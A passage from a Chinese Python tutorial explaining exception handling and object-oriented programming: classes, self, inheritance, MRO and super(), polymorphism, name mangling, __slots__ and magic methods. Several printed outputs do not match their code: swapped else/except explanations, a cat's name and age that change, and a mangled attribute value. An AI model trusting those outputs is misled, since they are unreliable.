6>>> try:
... 1 / 0
... except ZeroDivisionError:
... print("除数不能为0。")
...
除数不能为0。
后面还有一个可选的 as,这样的话可以将异常的原因给提取出来:1
2
3
4
5
6>>> try:
... 1 / 0
... except ZeroDivisionError as e:
... print(e)
...
division by zero
其实就是把冒号后面的那部分异常原因给引用出来。
我们还可以将多个可能出现的异常使用元组的形式给包裹起来:1
2
3
4
5
6>>> try:
... 1 / 0
... 520 + "FishC"
... except (ZeroDivisionError, ValueError, TypeError):
... pass
...
在这个代码中,但凡检测到 try 语句中包含这三个异常中的任意一个,都会执行 pass 语句,直接忽略跳过。
最后也可以单独处理不同的异常,使用多个 except 语句就可以了:1
2
3
4
5
6
7
8
9
10
11>>> try:
... 1 / 0
... 520 + "FishC"
... except ZeroDivisionError:
... print("除数不能为0。")
... except ValueError:
... print("值不正确。")
... except TypeError:
... print("类型不正确。")
...
除数不能为0。
try-except-else
try-except 还可以跟 else 进行搭配,它的含义就是当 try 语句没有检测到任何异常的情况下,就执行 else 语句的内容:1
2
3
4
5
6
7
8>>> try:
... 1 / 0
... except:
... print("逮到了~")
... else:
... print("没逮到~")
...
逮到了~
如果在 try 语句中检测到异常,那么就执行 except 语句的异常处理内容:1
2
3
4
5
6
7
8
9>>> try:
... 1 / 1
... except:
... print("逮到了~")
... else:
... print("没逮到~")
...
1.0
没逮到~
try-except-finally
跟 try-except 语句搭配的还有一个 finally,就是说无论异常发生与否,都必须要执行的语句:1
2
3
4
5
6
7
8
9
10
11>>> try:
... 1 / 0
... except:
... print("逮到了~")
... else:
... print("没逮到~")
... finally:
... print("逮没逮到都会咯吱一声~")
...
逮到了~
逮没逮到都会咯吱一声~1
2
3
4
5
6
7
8
9
10
11
12>>> try:
... 1 / 1
... except:
... print("逮到了~")
... else:
... print("没逮到~")
... finally:
... print("逮没逮到都会咯吱一声~")
...
1.0
没逮到~
逮没逮到都会咯吱一声~
finally 通常是用于执行那些收尾工作,比如关闭文件的操作:1
2
3
4
5
6
7>>> try:
... f = open("FishC.txt", "w")
... f.write("I love FishC.")
... except:
... print("出错了~")
... finally:
... f.close()
这样的话,无论 try 语句中是否存在异常,文件都能够正常被关闭。
现在我们的异常处理语法变成了这样:1
2
3
4
5
6
7
8
9
10try:
检测范围
except [expression [as identifier]]:
异常处理代码
[except [expression [as identifier]]:
异常处理代码]*
[else:
没有触发异常时执行的代码]
[finally:
收尾工作执行的代码]
或者:1
2
3
4try:
检测范围
finally:
收尾工作执行的代码
16.39.4 异常的嵌套
异常也是可以被嵌套的:1
2
3
4
5
6
7
8
9
10
11
12
13
14>>> try:
... try:
... 520 + "FishC"
... except:
... print("内部异常!")
... 1 / 0
... except:
... print("外部异常!")
... finally:
... print("收尾工作~")
...
内部异常!
外部异常!
收尾工作~
16.39.5 raise 语句
使用 raise 语句,我们可以手动的引发异常:1
2
3
4
5>>> raise ValueError("值不正确。")
Traceback (most recent call last):
File "<pyshell#23>", line 1, in <module>
raise ValueError("值不正确。")
ValueError: 值不正确。
注意,你不能够 raise 一个并不存在的异常哈:1
2
3
4
5>>> raise FishCError("小甲鱼说你不行你就不行~")
Traceback (most recent call last):
File "<pyshell#31>", line 1, in <module>
raise FishCError("小甲鱼说你不行你就不行~")
NameError: name 'FishCError' is not defined
由于这个 FishCError 未定义,所以是小甲鱼不行,不是你不行~
还有一种叫异常链,在 raise 后面加个 from:1
2
3
4
5
6
7
8
9>>> raise ValueError("这样可不行~") from ZeroDivisionError
ZeroDivisionError
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "<pyshell#37>", line 1, in <module>
raise ValueError("这样可不行~") from ZeroDivisionError
ValueError: 这样可不行~
16.39.6 assert 语句
assert 语句跟 raise 类似,都是主动引发异常,不过 assert 语句只能引发一个叫 AssertionError 的异常。
这个语句的存在意义,通常是用于代码调试:1
2
3
4
5
6
7>>> s = "FishC"
>>> assert s == "FishC" # 得到期待的结果,通过
>>> assert s != "FishC" # 没有得到期待的结果,引发异常
Traceback (most recent call last):
File "<pyshell#72>", line 1, in <module>
assert s != "FishC"
AssertionError
16.39.7 利用异常来实现 goto
有学过 C 语言的同学应该听到过一个叫做 goto 的语句,虽然用的不多,但有时候,有这么一个可以指哪跳哪的功能,可以说是非常方便,比如说要在多个嵌套循环语句里面一把跳出来,就非常方便了……可惜 Python 没有!
但是,小甲鱼今天敢把话题撂在这,那就说明小甲鱼有想法了!
没错,通过异常,我们完全可以实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18>>> try:
... while True:
... while True:
... for i in range(10):
... if i > 3:
... raise
... print(i)
... print("被跳过~")
... print("被跳过~")
... print("被跳过~")
... except:
... print("到这儿来~")
...
0
1
2
3
到这儿来~
16.40 面向对象编程(OOP,Object-Oriented Programming)
所谓的面向对象编程,想要学好它,唯一的捷径就是像造物者一样去思考问题。因为,面向对象最初的灵感就是来源于真实世界:
对象 = 属性(对象的静态特征)+ 方法(所能做的事情)
16.40.1 类和对象
对象诞生之前,需要先创建一个类,再通过类来创造实际的对象。
创建一个类需要用到 class 关键字:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20class Turtle:
head = 1
eyes = 2
legs = 4
shell = True
def crawl(self):
print("人们总抱怨我动作慢吞吞的,殊不知如不积硅步,无以至千里的道理。")
def run(self):
print("虽然我行动很慢,但如果遇到危险,还是会夺命狂奔的T_T")
def bite(self):
print("人善被人欺,龟善被人骑,我可是会咬人的!")
def eat(self):
print("谁知盘中餐粒粒皆辛苦,吃得好,不如吃得饱~")
def sleep(self):
print("Zzzz...")
类名的命名方式有一个约定俗成的标准,那就是使用大写字母开头,比如我们这里的 Turtle。
其实所谓的属性,就是写在类里面的变量,方法就是写在类里面的函数(实际上会有一点区别,后面我们会有仔细讲解)。
使用类名搭配上一对小括号,就像调用函数那样,就可以生成一个基于这个类的对象。
t1 就是一个 Turtle 类的对象,也叫实例对象(instance object),它就拥有了这个类所定义的属性和方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20>>> t1 = Turtle()
>>> t1.head
1
>>> t1.legs
4
>>> t1.crawl()
人们总抱怨我动作慢吞吞的,殊不知如不积硅步,无以至千里的道理。
>>> t1.bite()
人善被人欺,龟善被人骑,我可是会咬人的!
>>> t1.sleep()
Zzzz...
>>> t2 = Turtle()
>>> t2.head
1
>>> t2.legs
4
>>> t2.crawl()
人们总抱怨我动作慢吞吞的,殊不知如不积硅步,无以至千里的道理。
>>> t2.bite()
人善被人欺,龟善被人骑,我可是会咬人的!
当对象创建出来之后,我们可以随意修改它的属性值:1
2
3
4
5>>> t2.legs = 3
>>> t2.legs
3
>>> t1.legs
4
我们也可以动态的创建一个属性,这跟在字典中添加一个新的键值对一样:1
2
3>>> t1.mouth = 1
>>> t1.mouth
1
使用 dir() 函数,可以看到,t1 比 t2 多出了一个 mouth 的属性:1
2
3
4>>> dir(t1)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'bite', 'crawl', 'eat', 'eyes', 'head', 'legs', 'mouth', 'run', 'shell', 'sleep']
>>> dir(t2)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'bite', 'crawl', 'eat', 'eyes', 'head', 'legs', 'run', 'shell', 'sleep']
16.40.2 封装
封装,是面向对象编程的三个基本特征之一,另外两个是继承和多态,我们在后续的课程会给大家讲解。
像前面我们定义的 Turtle 类,它就把一个甲鱼的特征属性和行为能力封装到了一起。
当然,只要有时间,我们还可以添加更多的细节,使得这个 Turtle 更像一只真正意义上的甲鱼。
16.40.3 self 是什么?
我们编写一段代码,把 self 给打印出来:1
2
3
4
5
6
7>>> class C:
... def get_self(self):
... print(self)
...
>>> c = C()
>>> c.get_self()
<__main__.C object at 0x0000020C981BF0D0>
这是什么?1
2
3这就是类 [backcolor=#eee]C[/backcolor] 的实例对象小 [backcolor=#eee]c[/backcolor]:
>>> c
<__main__.C object at 0x0000020C981BF0D0>
原来传递给方法的是对象本身,那为什么要这么做呢?
我们知道,同一个类可以生成无数多个对象,那么当我们在调用类里面的一个方法的时候,Python 如何知道到底是哪个对象在调用呢?
没错,就是通过这个 self 参数传递的信息。
所以,类中的每一个方法,默认的第一个参数都是 self。
16.40.4 继承
Python 的类是支持继承的:它可以使用现有类的所有功能,并在无需重新编写代码的情况下对这些功能进行扩展。
通过继承创建的新类称为 “子类”,被继承的类称为 “父类”、“基类” 或 “超类”。
继承语法是将父类写在子类类名后面的小括号中:1
2
3
4
5
6
7
8
9
10
11
12
13
14>>> class A:
... x = 520
...
... def hello(self):
... print("你好,我是A~")
...
>>> class B(A):
... pass
...
>>> b = B()
>>> b.x
520
>>> b.hello()
你好,我是A~
基于上面代码的继承关系,类 A 就是父类,类 B 则是子类。
如果在子类 B 里面,存在跟父类 A 一样的属性和方法名,那么子类就会覆盖父类:1
2
3
4
5
6
7
8
9
10
11>>> class B(A):
... x = 880
...
... def hello(self):
... print("你好,我是B~")
...
>>> b = B()
>>> b.x
880
>>> b.hello()
你好,我是B~
16.40.5 isinstance() 和 issubclass()
isinstance() 函数用于判断一个对象是否属于某个类。
issubclass() 函数用于判断一个类是否属于某个类的子类。
友情提示:
在还没有学习 isinstance() 函数之前,我们使用 type() 函数判断对象的类型,其实这对 type() 函数来说真有点大材小用了(type 其实是 Python 中的神)。
对于检测对象类型(也就是检测对象所属的类)这件小事来说,使用 isinstance() 函数无疑是更名副其实的!
另外,使用 isinstance() 函数还会将父类考虑进去:1
2
3
4
5
6
7
8
9
10
11
12
13>>> class A:
... pass
...
>>> class B(A):
... pass
...
>>> b = B()
>>> isinstance(b, B)
True
>>> isinstance(b, A)
True
>>> type(b)
<class '__main__.B'>
16.40.6 多重继承
Python 的类是支持多重继承的,也就是一个子类同时可以继承多个父类:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18>>> class A:
... x = 520
... def hello(self):
... print("你好,我是A~")
...
>>> class B:
... x = 880
... y = 250
... def hello(self):
... print("你好,我是B~")
...
>>> class C(A, B):
... pass
...
>>> issubclass(C, A)
True
>>> issubclass(C, B)
True
如果实例化一个类 C 的对象为 c,那么访问 c.x 和调用 c.hello() 得到的结果分别是:1
2
3
4
5
6
7>>> c = C()
>>> c.x
520
>>> c.y
250
>>> c.hello()
你好,我是A~
从例子中可以看出,对于多个父类拥有相同属性和方法的情况,它的访问顺序是按从左到右的。
16.40.7 组合
类的组合跟继承不同,继承是具有上下从属关系,而组合的多个类则是同级关系,下面代码演示的就是类的组合:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26>>> class Turtle:
... def say(self):
... print("不积跬步,无以至千里!")
...
>>> class Cat:
... def say(self):
... print("喵喵喵~")
...
>>> class Dog:
... def say(self):
... print("哟吼,我是一只小狗~")
...
>>> class Garden:
... t = Turtle()
... c = Cat()
... d = Dog()
... def say(self):
... self.t.say()
... self.c.say()
... self.d.say()
...
>>> g = Garden()
>>> g.say()
不积跬步,无以至千里!
喵喵喵~
哟吼,我是一只小狗~
16.40.8 绑定
如16.40.8的、末尾的案例,为什么要加上:self?
如果没有加上self,代码就会报错:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16... t = Turtle()
... c = Cat()
... d = Dog()
... def say(self):
... t.say()
... c.say()
... d.say()
...
>>> g = Garden()
>>> g.say()
Traceback (most recent call last):
File "<pyshell#27>", line 1, in <module>
g.say()
File "<pyshell#25>", line 6, in say
t.say()
NameError: name 't' is not defined
想要弄清楚这个问题,我们就需要知道这个 self 到底是用来干嘛的?
在讲解类和对象第一节课的最后,这个 self 其实就是实例对象本身,当时我们求证的代码是这么写的:1
2
3
4
5
6
7
8
9>>> class C:
... def get_self(self):
... print(self)
...
>>> c = C()
>>> c.get_self()
<__main__.C object at 0x0000029F9E332850>
>>> c
<__main__.C object at 0x0000029F9E332850>
这里利用实例对象调用方法时,会自动传递 self 参数的原理,我们将 self 参数的值打印出来之后,知道它其实就是实例对象本身。
其实呢,这个 self 起到的作用就是俩字 —— 绑定。跟谁绑定?
没错,就是实例对象跟类的方法进行绑定!
因为类的实例对象可以有千千万,但这些实例对象却是共享类里面的方法,所以当我们在调用实例 c.get_self() 的时候,其实际的含义是调用类 C 的 get_self() 方法,并将实例对象作为参数给传递进去,进而实现绑定:1
2>>> C.get_self(c)
<__main__.C object at 0x0000029F9E332850>
这个绑定就像是骑共享单车,共享单车就是公共的方法,谁去骑它,那么就需要通过手机扫码绑定(这样它就知道在谁的钱包里扣钱了)。所以,现在大家应该知道绑定的必要性了吧!
16.40.9 只要通过绑定,就可以实现各个对象设置各个对象的属性
1 | >>> class C: |
16.40.10 一个 “旁门左道” 的小技巧
最小的类,就是只有一个 pass 语句填充的类:1
2>>> class C:
... pass
那么这个什么都没有的类,它可以做什么呢?
我们就可以把它当字典来使用:1
2
3
4
5
6
7
8
9
10
11
12
13>>> class C:
... pass
...
>>> c = C()
>>> c.x = 250
>>> c.y = "小甲鱼"
>>> c.z = [1, 2, 3]
>>> print(c.x)
250
>>> print(c.y)
小甲鱼
>>> print(c.z)
[1, 2, 3]
也没啥问题,对吧,因为本来类和对象的属性就是通过字典进行存放的嘛~
对比一下,使用字典的话我们得多敲几个字符:1
2
3
4
5
6
7
8
9
10>>> d = {}
>>> d['x'] = 250
>>> d['y'] = "小甲鱼"
>>> d['z'] = [1, 2, 3]
>>> print(d['x'])
250
>>> print(d['y'])
小甲鱼
>>> print(d['z'])
[1, 2, 3]
虽然说是有点不按套路出牌,但有时候确实是很好用的。
16.40.11 构造函数(init(self[, …]))
在类中定义 __init__() 方法,可以实现在实例化对象的时候进行个性化定制:1
2
3
4
5
6
7
8
9
10
11
12
13
14>>> class C:
... def __init__(self, x, y):
... self.x = x
... self.y = y
... def add(self):
... return self.x + self.y
... def mul(self):
... return self.x * self.y
...
>>> c = C(2, 3)
>>> c.add()
5
>>> c.mul()
6
16.40.12 重写
前面我们在 “继承” 中讲过,如果对于父类的某个属性或方法不满意的话,完全可以重新写一个同名的属性或方法对其进行覆盖。那么这种行为,我们就称之为是子类对父类的重写。
这里,我们可以定义一个新的类 —— D,继承自上面的类 C,然后对 add() 和 mul() 方法进行重写:1
2
3
4
5
6
7
8
9
10
11
12
13
14>>> class D(C):
... def __init__(self, x, y, z):
... C.__init__(self, x, y)
... self.z = z
... def add(self):
... return C.add(self) + self.z
... def mul(self):
... return C.mul(self) * self.z
...
>>> d = D(2, 3, 4)
>>> d.add()
9
>>> d.mul()
24
16.40.13 钻石继承
下面代码中,类 B1 和 类 B2 都是继承自同一个父类 A,而类 C 又同时继承自它们,这种继承模式就被称之为钻石继承,或者菱形继承:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20>>> class A:
... def __init__(self):
... print("哈喽,我是A~")
...
>>> class B1(A):
... def __init__(self):
... A.__init__(self)
... print("哈喽,我是B1~")
...
>>> class B2(A):
... def __init__(self):
... A.__init__(self)
... print("哈喽,我是B2~")
...
>>> class C(B1, B2):
... def __init__(self):
... B1.__init__(self)
... B2.__init__(self)
... print("哈喽,我是C~")
...
钻石继承这种模式,一旦处理不好就容易带来问题:1
2
3
4
5
6>>> c = C()
哈喽,我是A~
哈喽,我是B1~
哈喽,我是A~
哈喽,我是B2~
哈喽,我是C~
看,“哈喽,我是A~” 这一句竟然打印了 2 次!
也就是说,类 A 的构造函数被调用了 2 次!
怎么解?
看下面~
16.40.14 super() 函数和 MRO 顺序
上面这种通过类名直接访问的做法,是有一个名字的,叫 “调用未绑定的父类方法”。通常使用其实没有多大问题,但是遇到钻石继承嘛,就容易出事儿了~那么其实 Python 还有一个更好的实现方案,就是使用 super() 函数。super() 函数能够在父类中搜索指定的方法,并自动绑定好 self 参数。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20>>> class B1(A):
... def __init__(self):
... super().__init__()
... print("哈喽,我是B1~")
...
>>> class B2(A):
... def __init__(self):
... super().__init__()
... print("哈喽,我是B2~")
...
>>> class C(B1, B2):
... def __init__(self):
... super().__init__()
... print("哈喽,我是C~")
...
>>> c = C()
哈喽,我是A~
哈喽,我是B2~
哈喽,我是B1~
哈喽,我是C~
之所以 super() 函数能够有效避免钻石继承带来的问题,是因为它是按照 MRO 顺序去搜索方法,并且自动避免重复调用的问题。
那什么是 MRO 顺序呢?
MRO(Method Resolution Order),翻译过来就是 “方法解析顺序”。
想要查找一个类的 MRO 顺序有两种方法~
一种是通过调用类的 mro() 方法:1
2
3
4>>> C.mro()
[<class '__main__.C'>, <class '__main__.B1'>, <class '__main__.B2'>, <class '__main__.A'>, <class 'object'>]
>>> B1.mro()
[<class '__main__.B1'>, <class '__main__.A'>, <class 'object'>]
另一种则是通过 __mro__ 属性:
注:这里大家会看到它们都有一个 <class 'object'>,这是因为 object 是所有类的基类,所以就算你不写,它也是会被隐式地继承。
16.40.15 super() 也非全知全能!
由于 super() 函数是依赖于 MRO 顺序的,但 MRO 的排序方式,经常会让初学者感到迷惑,从而导致 super() 函数常常不能如大家预期那样去工作……
这篇扩展阅读 -> 传送门
大家一定要花点时间研究一下,最好是收藏起来,以后在使用 super() 函数时出现问题,随时可以在这里面找到答案。
16.40.16 Mixin
Mixin 即 Mix-in,翻译过来就是所谓的 “混入” 或者 “乱入”(也有音译为 “迷因”),它是一种设计模式。所谓设计模式,就是利用编程语言已有的特性,针对面向对象开发过程中,反复出现的问题,而设计出来的解决方案。
为了更好地解释什么是 Mixin,我们先来看一段代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15class Animal:
def __init__(self, name, age):
self.name = name
self.age = age
def say(self):
print(f"我叫{self.name},今年{self.age}岁。")
class Pig(Animal):
def special(self):
print("我的技能是拱大白菜~")
p = Pig("大肠", 5)
p.say()
p.special()
代码实现如下:1
2我叫大肠,今年5岁。
我的技能是拱大白菜~
好,现在由于剧情需要,我们要让大肠起飞……问一下大家,咱们有没有办法在不修改原有类的代码结构的前提下,让大肠,也就是猪,飞起来?
其实仔细思考一下并不难,我们可以写一个类,它的功能就是起飞,然后让 Pig 类去继承它:1
2
3
4
5
6
7
8
9
10
11
12
13...
class FlyMixin:
def fly(self):
print("哦豁,我还会飞~")
class Pig(FlyMixin, Animal):
def special(self):
print("我的技能是拱大白菜~")
p = Pig("大肠", 5)
p.say()
p.special()
p.fly()
代码实现如下:1
2
3我叫大肠,今年5岁。
我的技能是拱大白菜~
哦豁,我还会飞~
16.40.17 多态
多态在编程中是一个非常重要的概念,它是指同一个运算符、函数或对象在不同的场景下,具有不同的作用效果,这么一个技能。
我们知道加号(+)和乘号(*)运算符在 Python 被广泛使用,但是它们并非只是单一的用途,比如当两边都是数字的时候,它们执行的是算术运算:1
2
3
4>>> 3 + 5
8
>>> 3 * 5
15
如果遇到字符串,又会是另外一番面孔:1
2
3
4>>> "Py" + "FishC"
'PyFishC'
>>> "FishC" * 3
'FishCFishCFishC'
执行的是拼接和重复~
这种 “见机行事” 的行为,我们就称之为多态。
除了运算符之外,Python 中有一些函数也是支持多态的,比如 len() 函数,它的功能是获取一个对象的长度:1
2
3
4
5
6>>> len("FishC")
5
>>> len(["Python", "FishC", "Me"])
3
>>> len({"name":"小甲鱼", "age":"18"})
2
你看,给它传递一个字符串,它帮你统计字符的个数;给它传递一个列表,它帮你统计列表中元素的个数;给它传递一个字典,它计算的是字典中键的个数。这就是函数的多态性。
多态的好处这样就一目了然了,尽管我们的接口是不变的,但它却可以根据不同的对象执行不同的操作。
16.40.18 类继承的多态
Python 允许我们在子类中定义与父类同名的方法。就是如果我们对于父类的某个方法不满意的话,完全是可以在子类中重新定义一个同名的方法进行覆盖,这种做法我们称为重写,这在前面的课程有讲解过了。
重写,其实就是实现类继承的多态:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43>>> class Shape:
... def __init__(self, name):
... self.name = name
... def area(self):
... pass
...
>>> class Square(Shape):
... def __init__(self, length):
... super().__init__("正方形")
... self.length = length
... def area(self):
... return self.length * self.length
...
>>> class Circle(Shape):
... def __init__(self, radius):
... super().__init__("圆形")
... self.radius = radius
... def area(self):
... return 3.14 * self.radius * self.radius
...
>>> class Triangle(Shape):
... def __init__(self, base, height):
... super().__init__("三角形")
... self.base = base
... self.height = height
... def area(self):
... return self.base * self.height / 2
...
>>> s = Square(5)
>>> c = Circle(6)
>>> t = Triangle(3, 4)
>>> s.name
'正方形'
>>> c.name
'圆形'
>>> t.name
'三角形'
>>> s.area()
25
>>> c.area()
113.03999999999999
>>> t.area()
6.0
正方形、圆形、三角形都继承自 Shape 类,但又都重写了构造函数和 area() 方法,这就是多态的体现。
16.40.19 自定义函数的多态
这个简单,直接看代码你们就懂了:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43>>> class Cat:
... def __init__(self, name, age):
... self.name = name
... self.age = age
... def intro(self):
... print(f"我是一只沙雕猫咪,我叫{self.name},今年{self.age}岁~")
... def say(self):
... print("mua~")
...
>>> class Dog:
... def __init__(self, name, age):
... self.name = name
... self.age = age
... def intro(self):
... print(f"我是一只小狗,我叫{self.name},今年{self.age}岁~")
... def say(self):
... print("哟吼~")
...
>>> class Pig:
... def __init__(self, name, age):
... self.name = name
... self.age = age
... def intro(self):
... print(f"我是一只小猪,我叫{self.name},今年{self.age}岁~")
... def say(self):
... print("oink~") # 不要问我猪为什么这么叫,我是跟隔壁幼儿园的小朋友学的,oink~
...
>>> c = Cat("web", 4)
>>> d = Dog("布布", 7)
>>> p = Pig("大肠", 5)
>>> def animal(x):
... x.intro()
... x.say()
...
>>> animal(c)
我是一只沙雕猫咪,我叫宝儿,今年3岁~
mua~
>>> animal(d)
我是一只小狗,我叫布布,今年5岁~
哟吼~
>>> animal(p)
我是一只小猪,我叫大肠,今年5岁~
oink~
看,这个 animal() 函数就具有多态性,该函数接收不同对象作为参数,并在不检查其类型的情况下执行其方法。
16.40.20 鸭子类型
鸭子类型(Duck Typing)这个概念来源于美国印第安纳州的诗人詹姆斯·惠特科姆·莱利(James Whitcomb Riley, 1849 ~ 1916)的诗句:
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”
什么是鸭子类型?
举个例子,比如我们定义一个自行车:1
2
3
4
5
6>>> class Bicycle:
... def intro(self):
... print("我曾经跨过山和大海,也穿过人山人海~")
... def say(self):
... print("都有自行车了,要什么兰博基尼?")
...
自行车这个类,既有 intro() 方法,也有 say() 方法,所以它即便被前面的 animal() 函数所调用,也不会出错:1
2
3
4>>> b = Bicycle()
>>> animal(b)
我曾经跨过山和大海,也穿过人山人海~
都有自行车了,要什么兰博基尼?
编程中鸭子类型的概念就是:我们不需要关心对象具体是什么类型,只在乎它的行为方法是否符合要求即可。
16.40.21 私有变量
在大多数面向对象的编程语言中,都存在着私有变量(private variable)的概念,所谓私有变量,就是指通过某种手段,使得对象中的属性或方法无法被外部所访问。
Python 对于私有变量的实现是引入了一种叫 name mangling 的机制(翻译过来叫 “名字改编”、“名称改写” 或者 “名称修饰”),语法是在变量名前面加上两个连续下划线(__):1
2
3
4
5
6
7
8
9>>> class C:
... def __init__(self, x):
... self.__x = x
... def set_x(self, x):
... self.__x = x
... def get_x(self):
... print(self.__x)
...
>>> c = C(250)
此时,我们是无法直接通过变量名访问到该变量的:1
2
3
4
5>>> c.__x
Traceback (most recent call last):
File "<pyshell#13>", line 1, in <module>
c.__x
AttributeError: 'C' object has no attribute '__x'
想要访问变量的值,就需要使用指定的接口,比如这段代码中的 set_x() 和 get_x() 方法:1
2
3
4
5>>> c.get_x()
250
>>> c.set_x(520)
>>> c.get_x()
520
16.40.22 name mangling 机制的实现原理
我们看看 __dict__ 属性里面有啥:1
2>>> c.__dict__
{'_C__x': 250}
虽然这里面没有看到 __x,但是,却多了一个 _C__x 的属性对不对?
访问一下试试:1
2>>> c._C__x
520
果然如此……这个就是传说中的名字改编术!
做法其实也很简单,就是下横线(_)加上类名,再加上变量的名字。
方法名也是同样的道理:1
2
3
4
5
6
7
8
9
10
11
12>>> class D:
... def __func(self):
... print("Hello FishC.")
...
>>> d = D()
>>> d.__func()
Traceback (most recent call last):
File "<pyshell#12>", line 1, in <module>
d.__func()
AttributeError: 'D' object has no attribute '__func'
>>> d._D__func()
Hello FishC.
注意:name mangling 机制是发生在类实例化对象时候的事情,给对象动态添加属性则不会有同样的效果。
16.40.23 效率提升之道
Python 对象存储属性的工作原理 —— 字典 __dict__:1
2
3
4
5
6
7
8
9>>> class C:
... def __init__(self, x):
... self.x = x
...
>>> c = C(250)
>>> c.x
250
>>> c.__dict__
{'x': 250}
对象动态添加属性,就是将键值对添加到 __dict__ 中:1
2
3>>> c.y = 520
>>> c.__dict__
{'x': 250, 'y': 520}
甚至你可以直接通过给字典添加键值对的形式来创建对象的属性:1
2
3
4
5>>> c.__dict__['z'] = 666
>>> c.__dict__
{'x': 250, 'y': 520, 'z': 666}
>>> c.z
666
但是,字典高效率的背后是以付出更多存储空间为代价的(字典和集合高效背后的玄机)
如果我们明确知道一个类的对象设计出来,就只是需要那么固定的某几个属性,并且不需要有动态添加属性这样的功能,那么利用字典来存放属性,这种空间上的牺牲就是纯纯地浪费!
针对这个情况,Python 专门设计了一个 slots 类属性,避免了利用字典存放属性造成空间上的浪费。
举个例子:1
2
3
4
5
6>>> class C:
... __slots__ = ['x', 'y']
... def __init__(self, x):
... self.x = x
...
>>> c = C(250)
这样,我们就创建了一个属性受限制的对象。
访问 __slots__ 中列举的属性是没问题的:1
2
3
4
5>>> c.x
250
>>> c.y = 520
>>> c.y
520
如果想要动态地添加一个属性,那就不好意思了:1
2
3
4
5>>> c.z = 100
Traceback (most recent call last):
File "<pyshell#27>", line 1, in <module>
c.z = 100
AttributeError: 'C' object has no attribute 'z'
这种限制不仅体现在动态添加属性上,如果在类的内部,想创建一个 __slots__ 不包含的属性,也是不被允许的:1
2
3
4
5
6
7
8
9
10
11
12... __slots__ = ['x', 'y']
... def __init__(self, x, y, z):
... self.x = x
... self.y = y
... self.z = z
>>> d = D(3, 4, 5)
Traceback (most recent call last):
File "<pyshell#8>", line 1, in <module>
d = D(3, 4, 5)
File "<pyshell#6>", line 6, in __init__
self.z = z
AttributeError: 'D' object has no attribute 'z'
甚至是 __dict__ 属性,也不存在了:1
2
3
4
5>>> d.__dict__
Traceback (most recent call last):
File "<pyshell#23>", line 1, in <module>
d.__dict__
AttributeError: 'D' object has no attribute '__dict__'
因为使用了 __slots__ 属性,那么对象就会划分一个固定大小的空间来存放指定的属性,这时候 __dict__ 属性就不需要了,空间也就节约了出来。
不过这里有一点是需要特别强调的,就是使用 __slots__ 属性的副作用其实也相当明显,那就是要以牺牲 Python 动态语言的灵活性,作为前提。使用了 __slots__ 属性,就没办法再拥有动态添加属性的功能了……这可以说是它的一个副作用,但实际上很多开发者却利用这个副作用,来限制类属性的滥用。
最后,还有一点需要大家知道的是,继承自父类的 __slots__ 属性是不会在子类中生效的,Python 只关注各个具体的类中定义的 __slots__ 属性:1
2
3
4
5
6
7
8
9
10>>> class E(C):
... pass
...
>>> e = E(250)
>>> e.x
250
>>> e.y = 520
>>> e.z = 666
>>> e.__slots__
['x', 'y']
对象 e 虽然拥有 __slots__ 属性,但它同时也拥有 __dict__ 属性:1
2>>> e.__dict__
{'z': 666}
16.40.23 魔法方法
魔法方法就如同它的名字一样,它让 Python 拥有了超凡的魔力。在面向对象开发的过程中,魔法方法总能在你需要的时候出现,并为帮助你轻松地实现你的想法。魔法方法是 Python 内部已经实现的一系列方法的统称,前后双下划线是它们身份的象征(比如 __init__())。毫不夸张地说,只有掌握了魔法方法,才能算得上是真正地学会了面向对象的 Python 开发。前面我们介绍过 __init__() 魔法方法,它的超能力,就是在类实例化对象的时候自动进行调用,咱们自己写的方法可以做不了这个。
16.40.23.1 new(cls[, …])
__init__()是对象构建的时候调用的魔法方法,其实参与构建对象还有一个 __new__() 方法,它是在 __init__() 之前被调用的。对象的诞生流程,是先调用 __new__() 方法,创建一个类的实例,然后将其传递给 __init__() 方法进行个性化定制,这么一个流程。需要重写 __new__() 方法的情况极少,通常会用到它不外乎两种情况:
一种情况是在元类中去定制类,元类是 Python 中最难理解的概念之一,是称之为魔法方法背后的魔法方法.
另一种情况比较特殊,是在继承不可变数据类型的时候,如果我们想要 “从中作梗”,就可以通过重写 __new__() 魔法方法进行拦截:1
2
3
4
5
6
7
8>>> class CapStr(str):
... def __new__(cls, string):
... string = string.upper()
... return super().__new__(cls, string)
...
>>> cs = CapStr("FishC")
>>> cs
'FISHC'
16.40.23.2 del(self)
相反,del() 魔法方法是在对象即将被销毁的时候所自动调用的。1
2
3
4
5
6
7
8
9
10>>> class C:
... def __init__(self):
... print("我来了~")
... def __del__(self):
... print("我走了~")
...
>>> c = C()
我来了~
>>> del c
我走了~
16.40.23.3 对象重生之旅
虽然官方不建议,但他又告诉你可以实现,咱们不妨来尝试一下吧~1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22>>> class D:
... def __init__(self, name):
... self.name = name
